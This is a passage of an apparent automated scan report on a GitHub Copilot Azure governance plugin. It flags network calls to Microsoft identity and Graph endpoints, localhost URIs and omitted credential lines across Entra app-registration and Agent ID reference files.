    Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues)
  • Network accessline 51
    27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For
  • Network accessline 52
    28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit
  • Network accessline 56
    Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/oauth2-token-flow.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 21
    requests.patch(
  • Network accessline 33
    fic_body = {     "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 34
    "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",     "subject": mi_principal_id,   # The MI's object ID (principalId), NOT client ID
  • Network accessline 35
    "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 37
    "audiences": ["api://AzureADTokenExchange"], } requests.post(
  • Network accessline 38
    } requests.post(     f"{GRAPH}/applications/{blueprint_obj_id}"
  • Network accessline 39
    requests.post(
  • Network accessline 62
    jwks_client = PyJWKClient(     f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 63
    f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 70
    algorithms=["RS256"],     audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 71
    audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/", )
  • Network accessline 72
    issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 79
    - **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 80
    - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d
  • Network accessline 81
    - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 82
    - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash).
  • Network accessline 100
    $credential = Invoke-MgGraphRequest -Method POST `     -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 101
    -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 111
    resp = requests.post(

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/obo-blueprint-setup.md

  • Network accessline 39
    }, } requests.patch(
  • Network accessline 40
    } requests.patch(     f"{GRAPH}/applications/{blueprint_obj_id}",
  • Network accessline 41
    requests.patch(
  • Network accessline 63
    requests.post(
  • Network accessline 82
    tenant_id=tenant_id,     client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400",
  • Network accessline 83
    client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400", )
  • Network accessline 84
    redirect_uri="http://localhost:8400",
  • Network accessline 89
    > If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/runtime-token-exchange.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 8
    Step 1: Blueprint credentials + fmi_path  →  Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 9
    Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 19
    TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 34
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 35
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 36
    req = urllib.request.Request(
  • Network accessline 38
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 39
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())["access_token"]
  • Network accessline 40
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 47
    |-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Network accessline 48
    | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID |
  • Network accessline 49
    | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 86
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",         "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 87
    "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 88
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 89
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 90
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 91
    req = urllib.request.Request(
  • Network accessline 93
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 94
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 95
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 115
    "assertion": user_token,         "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 116
    "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 117
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 118
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 119
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 120
    req = urllib.request.Request(
  • Network accessline 122
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 123
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 124
    with urllib.request.urlopen(req, timeout=10) as resp:

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md

  • Network accessline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 16
    def get_agent_token(downstream_api: str = "Graph") -> str:     url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 17
    url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)     resp.raise_for_status()
  • Network accessline 18
    resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 33
    url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}"     resp = requests.get(         url,
  • Network accessline 34
    resp = requests.get(
  • Network accessline 46
    const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000";
  • Network accessline 56
    const res = await fetch(url.toString());
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    resp = requests.get(
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    resp = requests.get(
  • Network accessline 105
    - "5001:5000"     environment:       - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 106
    environment:       - AzureAd__Instance=https://login.microsoftonline.com/       - AzureAd__TenantId=${TENANT_ID}
  • Network accessline 107
    - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 110
    - AzureAd__ClientCredentials__0__SourceType=ClientSecret       - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET}       - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 113
    - DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default
  • Network accessline 115
    - ASPNETCORE_URLS=http://+:5000
  • Network accessline 120
    - "3000:3000"     environment:       - SIDECAR_URL=http://sidecar:5000
  • Network accessline 121
    environment:       - SIDECAR_URL=http://sidecar:5000       - AGENT_CLIENT_ID=${AGENT_CLIENT_ID}
  • Network accessline 122
    - SIDECAR_URL=http://sidecar:5000
  • Network accessline 147
    env:         - name: SIDECAR_URL           value: "http://localhost:5000"
  • Network accessline 148
    - name: SIDECAR_URL           value: "http://localhost:5000"       - name: sidecar
  • Network accessline 149
    value: "http://localhost:5000"
  • Network accessline 166
    value: "SignedAssertionFilePath"         - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"
  • Network accessline 167
    - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"         resources:
  • Network accessline 168
    value: "http://127.0.0.1:5000"         resources:           requests: { memory: "128Mi", cpu: "100m" }
  • Network accessline 184
    1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`

harness/github-copilot/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar.md

  • Network accessline 5
    Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags.
  • Network accessline 48
    env: - name: AzureAd__Instance   value: "https://login.microsoftonline.com/"
  • Network accessline 49
    - name: AzureAd__Instance   value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId
  • Network accessline 50
    value: "https://login.microsoftonline.com/"
  • Network accessline 82
    - name: DownstreamApis__Graph__BaseUrl   value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 83
    value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 84
    - name: DownstreamApis__Graph__Scopes__0   value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken
  • Network accessline 85
    value: "https://graph.microsoft.com/.default"
  • Network accessline 117
    | Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 118
    |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 119
    | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 120
    | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 121
    | Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration |
  • Network accessline 122
    | Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints |
  • Network accessline 123
    | Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities |
  • Network accessline 124
    | Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security |
  • Network accessline 125
    | OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md

  • Network accessline 67
    - **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 68
    - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow
  • Network accessline 69
    - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 199
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
  • Network accessline 200
    - [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols)
  • Network accessline 201
    - [MSAL Documentation](https://learn.microsoft.com/entra/msal/)
  • Network accessline 202
    - [Microsoft Graph API](https://learn.microsoft.com/graph/)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep

  • Network accessline 18
    @description('Redirect URIs for web application') param webRedirectUris array = [   'https://localhost:5001/signin-oidc'
  • Network accessline 19
    param webRedirectUris array = [   'https://localhost:5001/signin-oidc'   'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 20
    'https://localhost:5001/signin-oidc'
  • Network accessline 21
    'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 24
    @description('Redirect URIs for single-page application') param spaRedirectUris array = [   'http://localhost:3000'
  • Network accessline 25
    param spaRedirectUris array = [   'http://localhost:3000'   'https://myapp.azurewebsites.net'
  • Network accessline 26
    'http://localhost:3000'
  • Network accessline 27
    'https://myapp.azurewebsites.net'
  • Network accessline 53
    enableAccessTokenIssuance: false     }     homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 54
    }     homePageUrl: 'https://myapp.azurewebsites.net'     logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 55
    homePageUrl: 'https://myapp.azurewebsites.net'
  • Network accessline 56
    logoutUrl: 'https://myapp.azurewebsites.net/signout-oidc'
  • Network accessline 65
    publicClient: {     redirectUris: [       'http://localhost'
  • Network accessline 66
    redirectUris: [       'http://localhost'       'myapp://auth'
  • Network accessline 67
    'http://localhost'
  • Network accessline 68
    'myapp://auth'       'https://login.microsoftonline.com/common/oauth2/nativeclient'     ]
  • Network accessline 69
    'https://login.microsoftonline.com/common/oauth2/nativeclient'
  • Network accessline 175
    // Information URLs   info: {     marketingUrl: 'https://myapp.example.com'
  • Network accessline 176
    info: {     marketingUrl: 'https://myapp.example.com'     privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 177
    marketingUrl: 'https://myapp.example.com'
  • Network accessline 178
    privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 179
    supportUrl: 'https://myapp.example.com/support'
  • Network accessline 180
    termsOfServiceUrl: 'https://myapp.example.com/terms'

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/api-permissions.md

  • Network accessline 49
    Examples: https://graph.microsoft.com/User.Read
  • Network accessline 50
    https://graph.microsoft.com/User.Read
  • Network accessline 51
    https://graph.microsoft.com/Mail.Send
  • Network accessline 60
    https://graph.microsoft.com/.default
  • Network accessline 134
    1. Visit https://developer.microsoft.com/graph/graph-explorer
  • Network accessline 140
    Visit: https://learn.microsoft.com/en-us/graph/permissions-reference
  • Network accessline 258
    [Credential-related source omitted]
  • Network accessline 259
    [Credential-related source omitted]
  • Network accessline 334
    **Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values.
  • Network accessline 338
    - [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference)
  • Network accessline 339
    - [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview)
  • Network accessline 340
    - [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow)
  • Network accessline 341
    - [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/cli-commands.md

  • Network accessline 29
    az ad app create \   --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 30
    --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 31
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 37
    az ad app create \   --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 38
    --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 39
    --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 45
    az ad app create \   --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \
  • Network accessline 46
    --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 47
    --public-client-redirect-uris "http://localhost" \
  • Network accessline 53
    az ad app create \   --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 54
    --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMultipleOrgs"
  • Network accessline 55
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 116
    az ad app update --id $APP_ID \   --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 117
    --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 122
    az ad app update --id $APP_ID \   --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 123
    --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 128
    az ad app update --id $APP_ID \   --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 129
    --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 364
    # Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000"
  • Network accessline 366
    REDIRECT_URI="http://localhost:3000"

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/console-app-example.md

  • Network accessline 44
    .Create(ClientId)                     .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")
  • Network accessline 45
    .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")                     .Build();
  • Network accessline 46
    .WithRedirectUri("http://localhost")
  • Network accessline 87
    var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me");
  • Network accessline 139
    CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Network accessline 140
    TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"]
  • Network accessline 141
    AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 197
    response = requests.get(
  • Network accessline 198
    'https://graph.microsoft.com/v1.0/me',
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 268
    auth: {         clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 269
    clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",     }
  • Network accessline 270
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 280
    const authCodeUrlParameters = {         scopes: scopes,         redirectUri: "http://localhost:3000",
  • Network accessline 281
    scopes: scopes,         redirectUri: "http://localhost:3000",     };
  • Network accessline 282
    redirectUri: "http://localhost:3000",
  • Network accessline 308
    auth: {             clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 309
    clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",             clientSecret: "YOUR_CLIENT_SECRET", // From app registration
  • Network accessline 310
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 317
    const clientCredentialRequest = {         scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 318
    scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 333
    try {         const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 334
    const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 392
    - [MSAL Libraries](https://learn.microsoft.com/entra/msal/)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/first-app-registration.md

  • Network accessline 16
    - Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com
  • Network accessline 17
    - Azure Portal access: https://portal.azure.com
  • Network accessline 22
    1. Open [Azure Portal](https://portal.azure.com)
  • Network accessline 58
    **URI examples:** - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 59
    - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 60
    - SPA: `http://localhost:3000`
  • Network accessline 61
    - Console/Desktop: `http://localhost`
  • Network accessline 63
    **For your first app:** Select **"Public client/native"** and enter `http://localhost`
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 187
    # Interactive login az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 188
    az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 190
    # Get an access token az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 191
    az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 213
    **Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims.
  • Network accessline 251
    - [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/oauth-flows.md

  • Network accessline 26
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 50
    https://your-app.com/callback?
  • Network accessline 62
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 87
    GET https://graph.microsoft.com/v1.0/me
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 126
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 139
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 177
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 180
    client_id={application_id} &scope=https://graph.microsoft.com/.default
  • Network accessline 181
    &scope=https://graph.microsoft.com/.default
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 186
    **Parameters:** - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Network accessline 187
    - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`   - For your API: `api://{api_app_id}/.default`
  • Network accessline 188
    - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    GET https://graph.microsoft.com/v1.0/users
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 228
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  • Network accessline 238
    "user_code": "GTHK-QPMN",   "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 239
    "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",   "expires_in": 900,
  • Network accessline 240
    "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 241
    "expires_in": 900,   "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 242
    "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." }
  • Network accessline 243
    "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 250
    To sign in, open https://microsoft.com/devicelogin
  • Network accessline 257
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 278
    [Credential-related source omitted]
  • Network accessline 299
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 335
    {   "aud": "https://graph.microsoft.com",
  • Network accessline 336
    "aud": "https://graph.microsoft.com",
  • Network accessline 337
    "iss": "https://sts.windows.net/{tenant}/",
  • Network accessline 374
    https://graph.microsoft.com/User.Read
  • Network accessline 375
    https://graph.microsoft.com/Mail.Send
  • Network accessline 398
    [OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)

harness/github-copilot/plugins/azure-governance/skills/azure-entra-app-registration/references/troubleshooting.md

  • Network accessline 20
    AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request
  • Network accessline 30
    Registered: https://myapp.com/callback
  • Network accessline 31
    Request:    https://myapp.com/callback/  ❌ (trailing slash)
  • Network accessline 32
    Request:    https://MyApp.com/callback   ❌ (case difference)
  • Network accessline 33
    Request:    https://myapp.com/callback   ✅
  • Network accessline 39
    # CLI:    az ad app update --id $APP_ID \      --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 40
    az ad app update --id $APP_ID       --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 41
    --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 177
    Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to
  • Network accessline 183
    **Tool:** https://jwt.ms
  • Network accessline 268
    - [Microsoft Q&A](https://learn.microsoft.com/answers/)
  • Network accessline 269
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)

harness/github-copilot/plugins/azure-governance/skills/azure-quotas/SKILL.md

  • Network accessline 46
    | **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/
  • Network accessline 47
    | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft.
  • Network accessline 48
    | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback |
  • Network accessline 53
    > **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall 
  • Network accessline 54
    > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits 
  • Network accessline 55
